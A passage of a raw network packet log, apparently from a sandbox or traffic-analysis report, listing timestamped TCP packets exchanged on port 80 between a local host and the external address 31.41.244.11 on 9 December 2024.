Dec 9, 2024 21:09:18.391763926 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.391814947 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.391870022 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.391911030 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.392642021 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.392680883 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.392693996 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.392729998 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.393539906 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.393580914 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.393599987 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.393637896 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.394332886 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.394372940 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.394485950 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.394531012 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.395252943 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.395298958 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.395319939 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.395359039 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.396148920 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.396193981 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.396228075 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.396271944 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.396982908 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.397025108 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.397079945 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.397125959 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.397836924 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.397886992 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.397936106 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.397978067 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.398776054 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.398821115 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.398876905 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.398917913 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.399602890 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.399614096 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.399647951 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.399676085 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.400579929 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.400624990 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.400707960 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.400753021 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.401324987 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.401371002 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.401397943 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.401443958 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.402158022 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.402204990 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.402271986 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.402318001 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.403002977 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.403043985 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.550896883 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.550908089 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.550945044 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.551065922 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.551093102 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.551105022 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.551136971 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.551871061 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.551913977 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.551979065 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.552020073 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.552772999 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.552819967 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.552820921 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.552864075 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.553608894 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.553678036 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.553687096 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.553725004 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.554532051 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.554635048 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.554657936 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.554702997 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.555442095 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.555483103 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.555569887 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.555608034 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.556195974 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.556236982 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.556297064 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.556337118 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.557125092 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.557163000 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.557204008 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.557961941 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.558013916 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.558033943 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.558079958 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.558868885 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.558916092 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.559084892 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.559161901 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.559705019 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.559751034 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.559756041 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.559798002 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.560688972 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.560734034 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.560753107 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.560796022 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.561491013 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.561719894 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.561765909 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.562350988 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.562397003 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.562427044 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.562473059 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.563239098 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.563282967 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.563431025 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.563476086 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.563990116 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.564033985 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.564063072 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.564106941 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.564867020 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.565004110 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.565068007 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.565817118 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.565862894 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.565893888 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.565937996 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.566855907 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.566901922 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.566920996 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.566963911 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.567677975 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.567723036 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.567929983 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.567974091 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.568381071 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.568428040 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.568578959 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.568624973 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.569247961 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.569408894 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.569453955 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.570050001 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.570095062 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.570183039 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.570228100 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.570923090 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.570965052 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.571068048 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.571113110 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.571830034 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.571877003 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.571988106 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.572031021 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.572688103 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.572729111 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.572731018 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.572773933 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.573561907 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.573693991 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.573741913 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.574453115 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.574498892 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.574521065 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.574564934 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.575293064 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.575335979 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.575440884 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.575484037 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.576133013 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.576176882 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.576323032 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.576366901 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.577027082 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.577106953 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.577153921 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.577902079 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.577950001 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.577977896 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.578023911 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.578762054 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.578805923 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.578883886 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.578933001 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.579622984 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.579672098 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.579699039 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.579745054 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.580677032 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.580722094 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.580801010 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.580846071 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.581428051 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.581577063 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.581620932 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.582287073 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.582330942 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.582453966 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.582495928 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.583173037 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.583220005 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.583257914 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.583301067 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.583976030 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.584021091 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.584208965 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.584256887 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.584811926 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.584856987 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.584949017 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.584994078 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.585699081 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.585792065 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.585835934 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.586559057 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.586606979 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.586649895 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.586694956 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.587424994 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.587471008 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.587482929 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.587524891 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.588305950 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.588349104 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.588510990 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.588557959 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.589169025 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.589328051 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.589371920 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.590063095 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.590106964 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.590159893 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.590204000 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.591005087 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.591069937 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.591268063 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.591316938 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.591778994 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.591823101 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.591845036 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.591895103 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.592628956 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.592673063 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.592700005 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.592742920 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.593511105 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.593660116 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.593704939 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.594413996 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.594463110 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.594511986 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.594553947 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.595216990 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.595262051 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.595355034 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.595398903 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.596123934 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.596168041 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.743316889 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.743393898 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.743489027 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.743691921 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.743745089 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.743807077 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.743849993 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.743920088 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.743964911 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.744610071 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.744654894 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.744682074 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.744724035 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.745388985 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.745498896 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.745547056 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.746197939 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.746247053 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.746356010 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.746401072 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.747138023 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.747160912 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.747210979 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.748182058 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.748234034 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.748305082 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.748352051 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.748858929 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.748907089 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.748975992 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.749686956 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.749733925 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.749823093 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.749871969 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.750556946 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.750602007 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.750669956 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.750715017 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.751722097 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.751770020 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.751931906 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.751977921 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.752551079 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.752598047 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.752743959 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.752784967 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.753359079 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.753606081 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.753644943 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.754014969 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.754082918 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.754085064 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.754129887 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.754991055 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.755038023 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.755060911 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.755101919 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.755920887 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.755965948 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.756023884 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.756067038 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.756616116 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.756627083 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.756660938 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.756681919 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.757522106 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.757680893 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.757731915 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.758368969 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.758413076 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.758477926 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.758522987 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.759295940 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.759336948 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.759430885 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.759479046 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.760220051 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.760271072 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.760328054 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.760374069 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.760977030 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.760998964 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.761045933 CET	49874	80	192.168.2.6	31.41.244.11
